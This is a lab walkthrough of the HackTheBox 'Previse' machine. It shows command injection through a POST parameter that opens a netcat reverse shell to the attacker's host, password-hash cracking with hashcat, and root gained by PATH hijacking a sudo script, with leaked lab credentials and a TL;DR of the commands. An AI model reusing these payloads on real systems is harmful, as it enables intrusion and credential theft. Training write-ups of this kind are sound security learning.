Intro

Hey all, as promised, I can now spend more time doing some HackTheBox machines since my CISSP studies are behind me and certification is done. Haven’t done any in a while so let’s kick it off with an easy one.

This is a Linux based machine, easy, and going to be retired in a few weeks. It’s also m4lwhere’s first machine so this might be fresh and interesting.

Before we dig in, this article won’t be as detailed as the others. The basics to resolve these easier machines have been covered in previous blog posts so for the sake of brevity, we won’t deep dive in every single command or exploit. By now, it’s assumed that the reader is doing their own research if something isn’t clear or seems “magical”. Also, as always, for those in a serious hurry, see the TL;DR section at the very end.

Without further due, let’s dive in.

Initial Recon

We can add the IP address for the machine in an /etc/hosts entry for convenience’s sake. This will do the trick

sudo echo '10.10.11.104 previse.htb' >> /etc/hosts

Following that, we’re going port scan this machine to get an idea of the services running on it.

$ sudo nmap -sS -Pn -T4 -A -p- previse.htb

Starting Nmap 7.92 ( https://nmap.org ) at 2021-12-23 11:07 EST
Nmap scan report for 10.10.11.104
Host is up (0.024s latency).
Not shown: 65533 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   2048 53:ed:44:40:11:6e:8b:da:69:85:79:c0:81:f2:3a:12 (RSA)
|   256 bc:54:20:ac:17:23:bb:50:20:f4:e1:6e:62:0f:01:b5 (ECDSA)
|_  256 33:c1:89:ea:59:73:b1:78:84:38:a4:21:10:0c:91:d8 (ED25519)
80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
| http-cookie-flags:
|   /:
|     PHPSESSID:
|_      httponly flag not set
| http-title: Previse Login
|_Requested resource was login.php
|_http-server-header: Apache/2.4.29 (Ubuntu)
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:
OS:SCAN(V=7.92%E=4%D=12/23%OT=22%CT=1%CU=39777%PV=Y%DS=2%DC=T%G=Y%TM=61C49E
OS:D9%P=x86_64-pc-linux-gnu)SEQ(SP=F1%GCD=1%ISR=108%TI=Z%CI=Z%II=I%TS=A)OPS
OS:(O1=M54DST11NW7%O2=M54DST11NW7%O3=M54DNNT11NW7%O4=M54DST11NW7%O5=M54DST1
OS:1NW7%O6=M54DST11)WIN(W1=FE88%W2=FE88%W3=FE88%W4=FE88%W5=FE88%W6=FE88)ECN
OS:(R=Y%DF=Y%T=40%W=FAF0%O=M54DNNSNW7%CC=Y%Q=)T1(R=Y%DF=Y%T=40%S=O%A=S+%F=A
OS:S%RD=0%Q=)T2(R=N)T3(R=N)T4(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T5(R
OS:=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F
OS:=R%O=%RD=0%Q=)T7(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(R=Y%DF=N%
OS:T=40%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N%T=40%CD
OS:=S)

Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE (using port 199/tcp)
HOP RTT      ADDRESS
1   23.09 ms 10.10.14.1
2   23.48 ms 10.10.11.104c

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 44.30 seconds

Alright, we have port 22 (SSH) and 80 (HTTP) open. SSH is hinting that we will eventually have a password or a private key to log into the machine. HTTP is hinting that the main attack vector will be found through a flaw in the hosted web page. Let’s start enumeration this host.

Enumeration

First things first, we will enumerate using gobuster and see if we can find something interesting hosted on the HTTP server.

$ gobuster dir -u "http://previse.htb/" -w ../../tools/http-enum/common.txt
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://10.10.11.104/
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                ../../tools/http-enum/common.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.1.0
[+] Timeout:                 10s
===============================================================
2021/12/23 11:13:10 Starting gobuster in directory enumeration mode
===============================================================
/.hta                 (Status: 403) [Size: 277]
/.htaccess            (Status: 403) [Size: 277]
/.htpasswd            (Status: 403) [Size: 277]
/css                  (Status: 301) [Size: 310] [--> http://10.10.11.104/css/]
/favicon.ico          (Status: 200) [Size: 15406]
/index.php            (Status: 302) [Size: 2801] [--> login.php]
/js                   (Status: 301) [Size: 309] [--> http://10.10.11.104/js/]
/server-status        (Status: 403) [Size: 277]

===============================================================
2021/12/23 11:13:23 Finished
===============================================================

There doesn’t seem to be anything special but the /index.php page does raise an eyebrow. It seems to redirect to /login.php. Why redirect? Because of the HTTP status code response of 302.

Using a web browser, this is what you will see by navigating to http://previse.htb

Since we’re here, let’s try a few easy login guesses. Using the admin, administrator, and root user names, we will try the “most common passwords of 2021”.

123456
123456789
qwerty
password
12345
qwerty123
1q2w3e
12345678
111111
1234567890

Well, nothing worked. admin, password, and password! all yield the same results. The source code of the login.php also doesn’t give up much. Let’s use curl to see what the index.php page looks like without it redirecting our browser to the login.php endpoint.

curl http://previse.htb/index.php

...

<nav class="uk-navbar-container" uk-navbar>
    <div class="uk-navbar-center">
        <ul class="uk-navbar-nav">
            <li class="uk-active"><a href="/index.php">Home</a></li>
            <li>
                <a href="accounts.php">ACCOUNTS</a>
                <div class="uk-navbar-dropdown">
                    <ul class="uk-nav uk-navbar-dropdown-nav">
                        <li><a href="accounts.php">CREATE ACCOUNT</a></li>
                    </ul>
                </div>
            </li>
            <li><a href="files.php">FILES</a></li>
            <li>
                <a href="status.php">MANAGEMENT MENU</a>
                <div class="uk-navbar-dropdown">
                    <ul class="uk-nav uk-navbar-dropdown-nav">
                        <li><a href="status.php">WEBSITE STATUS</a></li>
                        <li><a href="file_logs.php">LOG DATA</a></li>
                    </ul>
                </div>
            </li>
            <li><a href="#" class=".uk-text-uppercase"></span></a></li>
            <li>
                <a href="logout.php">
                    <button class="uk-button uk-button-default uk-button-small">LOG OUT</button>
                </a>
            </li>
        </ul>
    </div>
</nav>

...

Well, well, well. What’s this? This page seems different to login.php, and it just gave us some information about other pages hosted on the server: accounts.php, files.php, status.php, file_logs.php, and login.php.

Using the same curl command, we can fetch the accounts.php page and peruse its source code. It appears this page can be used to create user accounts through a POST request.

...

<section class="uk-section uk-section-default">
    <div class="uk-container">
        <h2 class="uk-heading-divider">Add New Account</h2>
        <p>Create new user.</p>
        <p class="uk-alert-danger">ONLY ADMINS SHOULD BE ABLE TO ACCESS THIS PAGE!!</p>
        <p>Usernames and passwords must be between 5 and 32 characters!</p>
    </p>
        <form role="form" method="post" action="accounts.php">
            <div class="uk-margin">
                <div class="uk-inline">
                    <span class="uk-form-icon" uk-icon="icon: user"></span>
                    <input type="text" name="username" class="uk-input" id="username" placeholder="Username">
                </div>
            </div>
            <div class="uk-margin">
                <div class="uk-inline">
                    <span class="uk-form-icon" uk-icon="icon: lock"></span>
                    <input type="password" name="password" class="uk-input" id="password" placeholder="Password">
                </div>
            </div>
            <div class="uk-margin">
                <div class="uk-inline">
                    <span class="uk-form-icon" uk-icon="icon: lock"></span>
                    <input type="password" name="confirm" class="uk-input" id="confirm" placeholder="Confirm Password">
                </div>
            </div>
            <button type="submit" name="submit" class="uk-button uk-button-default">CREATE USER</button>
        </form>
    </div>
</section>
...

Bonus points, we have the minimal rules for usernames and passwords. Breaking this down, the accounts.php endpoint takes a POST request with username, password, and confirm parameters as input to create new user accounts. Using curl, this looks like this:

$ curl -XPOST 'http://previse.htb/accounts.php' --data-raw 'username=redbay&password=redbay&confirm=redbay'

We can go validate that it worked by browsing to the login.php and trying the new credentials.

Great! This confirms we’re logged in! We now have some poking around to do. These things actually take time as it’s not always as straight forward as we’d like. This is what makes the whole thing fun and enjoyable. In the interest of time, let’s go ahead and concentrate directly on the FILES section in the top menu.

Someone seems to have left a SITEBACKUP.ZIP file under “Uploaded Files” (thanks newguy). These backup files are often of interest because they contain the source code of the whole site. This is a luxury we need to take advantage of – we’re looking for programming mistakes that we can exploit to get a foothold or a reverse shell on the machine. Let’s download and unzip the site backup file and see what we got. Luckily, there are no passwords protecting it.

With regards to enumeration and sleuthing, we have gone though enough at this point. The key take aways are that it makes no sense to expose administrative API endpoints without authentication. Without being an administrator, we were able to create an account and log into the system.

It goes without saying that it’s obvious that leaving a site backup file exposed to any user is a bad idea. Web sites can contain configuration files that hold credentials used to connect to databases. Inadvertently exposing them this way can lead to some serious security issues.

Anyway, now that we have access to the site’s source code, let’s see how we can leverage it to get a foothold on Previse.

Foothold

Fast forward 30 minutes, we find a few files of interest.

config.php is one.

$ cat config.php
<?php

function connectDB(){
    $host = 'localhost';
    $user = 'root';
    $passwd = 'mySQL_p@ssw0rd!:)';
    $db = 'previse';
    $mycon = new mysqli($host, $user, $passwd, $db);
    return $mycon;
}

?>

Credentials. What were we just saying? We also found a flaw in logs.php. Here’s the code snippet of interest.

  1 <?php
  2 session_start();
  3 if (!isset($_SESSION['user'])) {
  4     header('Location: login.php');
  5     exit;
  6 }
  7 ?>
  8
  9 <?php
 10 if (!$_SERVER['REQUEST_METHOD'] == 'POST') {
 11     header('Location: login.php');
 12     exit;
 13 }
 14
 15 /////////////////////////////////////////////////////////////////////////////////////
 16 //i tried really hard to parse the log delims in php, but python was so much easier//
 17 /////////////////////////////////////////////////////////////////////////////////////
 18
 19 $output = exec("/usr/bin/python /opt/scripts/log_process.py {$_post['delim']}");
 20 echo $output;
 

Looking at the above code, we can observe that the delim POST request input parameter isn’t validated or sanitized. We can essentially pass in anything we want through a POST request. Obviously this isn’t what the developer intended but it is what we’re going to leverage. We can insert an arbitrary command following the log_process.py command invocation by using a semi-column. Let’s fire up a reverse shell using netcat and see what we get out of it.

For this operation, we need to make sure we’re logged in.

$ curl -XPOST -c - 'http://previse.htb/login.php' --data-raw 'username=redbay&password=redbay'

...

previse.htb     FALSE   /       FALSE   0       PHPSESSID       jg7bi95its9ketrfm5j2ht21q5

The -c flag is for curl to output the returned cookie. This is necessary because the logs.php source code is expecting the user to be logged in for this operation to work. We need to pass the PHPSESSID along with our payload to the logs.php POST request.

First, we have to setup our attack machine to receive incoming connections through netcat on port 4445.

nc -lvnp 4445

Then, we can send our payload to the Previse machine.

$ curl -XPOST 'http://previse.htb/logs.php' -H 'Cookie: PHPSESSID=jg7bi95its9ketrfm5j2ht21q5' --data-raw 'delim=space; nc <attack ip> 4445 -e /bin/bash'

And BINGO! Previse connected back to our machine. We now have a reverse shell

Connection from 10.10.11.104:49712
whoami
www-data

From here, we’ll need to do some more poking around to get access to the user account. We stumbled upon an unpriviledged account with limited access. We can’t do much from here unforuntately. From what we already gathered, it feels like we’ll be able to find a password or a way to log into Previse through SSH. Remember the config.php file we found earlier? It contains some credentials to connect to a database so that will be next on our to do list.

User

Huge take away from the config.php file is the $mycon = new mysql... line. It hints at a mysql database. Before we proceed, we will want to “upgrade” our shell to a fully interactive TTY shell.

python -c 'import pty; pty.spawn("/bin/bash")'

Once that’s done, we can try to connect to the database. We’re not guessing here, we’re actually just using the information gleaned from the configuration file.

mysql -h localhost -u root --password='mySQL_p@ssw0rd!:)' --database=previse

mysql: [Warning] Using a password on the command line interface can be insecure.
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A

Welcome to the MySQL monitor.  Commands end with ; or \g.
Your MySQL connection id is 240
Server version: 5.7.35-0ubuntu0.18.04.1 (Ubuntu)

Copyright (c) 2000, 2021, Oracle and/or its affiliates.

Oracle is a registered trademark of Oracle Corporation and/or its
affiliates. Other names may be trademarks of their respective
owners.

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

mysql>

You can list the databases using the following SQL query

mysql> select table_name, column_name from information_schema.columns where table_schema = 'previse';
+------------+-------------+
| table_name | column_name |
+------------+-------------+
| accounts   | id          |
| accounts   | username    |
| accounts   | password    |
| accounts   | created_at  |
| files      | id          |
| files      | name        |
| files      | size        |
| files      | user        |
| files      | data        |
| files      | upload_time |
| files      | protected   |
+------------+-------------+
11 rows in set (0.00 sec)

We’re going to be interested in the accounts table – it has a username and a password column.

mysql> select * from accounts;
select * from accounts;
+----+----------+------------------------------------+---------------------+
| id | username | password                           | created_at          |
+----+----------+------------------------------------+---------------------+
|  1 | m4lwhere | $1$🧂llol$DQpmdvnb7EeuO6UaqRItf. | 2021-05-27 18:18:36 |
|  2 | redbay   | $1$🧂llol$tCc4ufA6R5uOG87w7RQVZ. | 2021-12-24 02:33:27 |
+----+----------+------------------------------------+---------------------+

And there you have it folks. Hashes for the redbay user we created earlier and a m4lwhere user. By looking at the password column, we gather that these are salted MD5 hashes. Salts are added to hashing functions to add to the randomization. This prevents the use of rainbow tables while attempting to crack the passwords. You can find some good information about salting hashes and what rainbow tables are here and here.

This little operation will require a password cracking tool. hashcat in our case. The RockYou.txt word list is a go to word list for cracking passwords because it contains a long list of commonly used passwords. hashcat will hash the passwords in the list and compare them to the hashed values we picked up from the accounts table. If there is a match, it takes note of the password and moves on to the next one.

First things first, we need to prepare the hashes for cracking. We can simply copy them as is to a text file we’ll call hashes, one hash per line. hashcat will figure out the rest for us.

We do have to specify a few parameters to get this to work. hashcat --help is our friend here and we’ll leave it to the reader to figure out the parameter values.

hashcat -a 0 -m 500 <hash file> <wordlist>

Session..........: hashcat
Status...........: Running
Hash.Name........: md5crypt, MD5 (Unix), Cisco-IOS $1$ (MD5)
Hash.Target......: ./hashes
Time.Started.....: Fri Dec 24 09:18:56 2021 (9 mins, 45 secs)
Time.Estimated...: Fri Dec 24 09:42:22 2021 (13 mins, 41 secs)
Guess.Base.......: File (rockyou.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.#1.........:    10200 H/s (0.07ms) @ Accel:1 Loops:1 Thr:64 Vec:1
Recovered........: 1/2 (50.00%) Digests
Progress.........: 5967360/14344384 (41.60%)
Rejected.........: 0/5967360 (0.00%)
Restore.Point....: 5967360/14344384 (41.60%)
Restore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:860-861
Candidates.#1....: luvujhen -> luvp854eva
Hardware.Mon.#1..: Util: 38% Core:1117MHz Mem:2250MHz Bus:16

$1$🧂llol$DQpmdvnb7EeuO6UaqRItf.:ilovecody112235!

where <hash file> is our text file containing the hashes and <wordlist> is the RockYou.txt word list. How long this takes heavily depends on the hardware you’re using to crack the password hashes. In any case, we do have a result: ilovecody112235!. This would have been impossible to guess but we were able to acquire the password hashes. This enables us to crack them. Fortunately, the password the m4lwhere user used exists in the RockYou.txt word list. Have it not been in there, we would have needed a larger word list or we would have had to use a brute force attack to find the password. This would have been a lot more time consuming.

In any case, we have a password. Let’s give it a spin through SSH.

$ ssh m4lwhere@10.10.11.104
m4lwhere@10.10.11.104's password:
Welcome to Ubuntu 18.04.5 LTS (GNU/Linux 4.15.0-151-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

  System information as of Sat Dec 25 23:11:04 UTC 2021

  System load:  0.0               Processes:           251
  Usage of /:   50.8% of 4.85GB   Users logged in:     0
  Memory usage: 31%               IP address for eth0: 10.10.11.104
  Swap usage:   0%


0 updates can be applied immediately.

Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings


Last login: Sat Dec 25 21:26:41 2021 from 10.10.14.63
m4lwhere@previse:~$ whoami
m4lwhere
m4lwhere@previse:~$ cat user.txt
da0dd8c2dfe4a021e0c1203934932d34
m4lwhere@previse:~$

As simple as that. With access to hashes, it’s only a matter of time before a password is cracked. One other best practice to point out here is to not reuse passwords. Obivously, had m4lwhere not used the same password on the system as the one for the file upload portal, we wouldn’t have gotten access so easily.

Let’s now move on to root.

Root

Now that we have the password to the m4lwhere’s user account, we should make a habit out of checking sudo -l before enumerating the machine for privilege escalation. sudo -l lists the commands the user can run using sudo. These potentially contain privilege escalation vectors that can be easy to exploit. Let’s see what we have.

m4lwhere@previse:~$ sudo -l
[sudo] password for m4lwhere:
User m4lwhere may run the following commands on previse:
    (root) /opt/scripts/access_backup.sh

Interesting. So there seems to be a custom script that m4lwhere is allowed to execute using sudo. This doesn’t seem much but let’s go check it out – there might be a programming mistake similar to what we saw in logs.php that we can exploit.

m4lwhere@previse:~$ cat /opt/scripts/access_backup.sh
#!/bin/bash

# We always make sure to store logs, we take security SERIOUSLY here

# I know I shouldnt run this as root but I cant figure it out programmatically on my account
# This is configured to run with cron, added to sudo so I can run as needed - we'll fix it later when there's time

gzip -c /var/log/apache2/access.log > /var/backups/$(date --date="yesterday" +%Y%b%d)_access.gz
gzip -c /var/www/file_access.log > /var/backups/$(date --date="yesterday" +%Y%b%d)_file_access.gz

Well, this is good news for us. The mistake here is that the developer didn’t use absolute paths to reference executables. The shell will go through every entries of the PATH environement variable until it finds the command to execute. This means that if we have a command called gzip or date in a directory that is referenced by the PATH variable BEFORE the intended command (/bin/gzip and /bin/date in this case), we can have it execute as root.

Let’s leverage this. We’re going to need to create an executable file in a directory that we have control over and have it run some custom code. We have two options here really: gzip and date. Let’s just go with gzip. In the end, we’re trying to get a shell as root so the obvious choice is to simply invoke bash from our executable file. We will need to tweak our PATH environment variable to make sure the script picks up our version of gzip and not the intended one found in /bin/gzip.

Now that we kind of know the steps to do, let’s give it a shot

m4lwhere@previse:~$ echo "/bin/bash 1>&2" > ./gzip
m4lwhere@previse:~$ chmod 755 ./gzip
m4lwhere@previse:~$ export PATH=./:$PATH
m4lwhere@previse:~$ sudo /opt/scripts/access_backup.sh
root@previse:~# whoami
root
root@previse:~# cat /root/root.txt
346883462c8bcc92aa4ccd12128874ce
root@previse:~#

Behold, the root flag! Everything is pretty straight forward but some might wonder why the redirect of stdout to stderr. In all honestly, some time was spent messing around with this. Omitting that redirect will give us a root shell but it will be impossible to actually see the output of any command unless it’s redirected to stderr.

Here’s an example of what it would have looked like had we not put the redirect in our ./gzip file (assuming 755 permissions and the PATH are already set).

m4lwhere@previse:~$ echo "/bin/bash" > ./gzip
m4lwhere@previse:~$ sudo /opt/scripts/access_backup.sh
root@previse:~# ls -la
root@previse:~# cat /root/root.txt
root@previse:~# cat /root/root.txt >&2
346883462c8bcc92aa4ccd12128874ce

The shell is obviously borked and displaying stderr, making the redirect of stdout to stderr necessary to see any output from standard commands. If invoking commands from a script, using absolute paths instead of relative ones is the key take away here.

Conclusion

Well, that was the last one to close out the year. Previse was a first from m4lwhere that proved to be enjoyable. The foothold is the most time consuming part because a standard web browser withholds valuable information through the redirect on /index.php. Once that was figured out, we were able to create our own user by leveraging an unauthenticated administrative API. A reverse shell was made possible by the fact that the delim parameter for POST requests to logs.php isn’t sanitized. Following that, database credentials stored in a configuration file made it possible to connect locally to the database and retrieve user hashes. The m4lwhere user reused his password for the system and that made it possible to login through SSH. Finally, root was achievable through a badly written script.

An all around fun machine containing basic misconfigurations and basic scripting mistakes that allows an attacker to take a hold of it. I hope you enjoyed reading as much as I enjoyed writing about it!

In 2022, I’m aiming to start including some more challenging machines from the medium difficulty range and maybe some Windows machines so stay tuned!

Until then, happy hacking!

  • redbay

TL;DR

Foothold

  1. Create your user: $ curl -XPOST 'http://previse.htb/accounts.php' --data-raw 'username=redbay&password=redbay&confirm=redbay'
  2. Login: $ curl -XPOST -c - 'http://previse.htb/login.php' --data-raw 'username=redbay&password=redbay'
  3. Setup attacker machine $ nc -lvnp 4445
  4. Reverse shell through $ curl -XPOST 'http://previse.htb/logs.php' -H 'Cookie: PHPSESSID=jg7bi95its9ketrfm5j2ht21q5' --data-raw 'delim=space; nc <attack ip> 4445 -e /bin/bash'

User

  1. Get mysql credentials from /var/www/html/config.php
  2. Log into mysql service: mysql -h localhost -u root --password='mySQL_p@ssw0rd!:)' --database=previse
  3. Get user hashes: select * from accounts; –> m4lwhere | $1$🧂llol$DQpmdvnb7EeuO6UaqRItf.
  4. Crack with hashcat and RockYou.txt word list: hashcat -a 0 -m 500 <hash file> <wordlist>
  5. User password: ilovecody112235!
  6. Login through SSH

Root

  1. echo "/bin/bash 1>&2" > ./gzip
  2. chmod 755 ./gzip
  3. export PATH=./:$PATH
  4. sudo /opt/scripts/access_backup.sh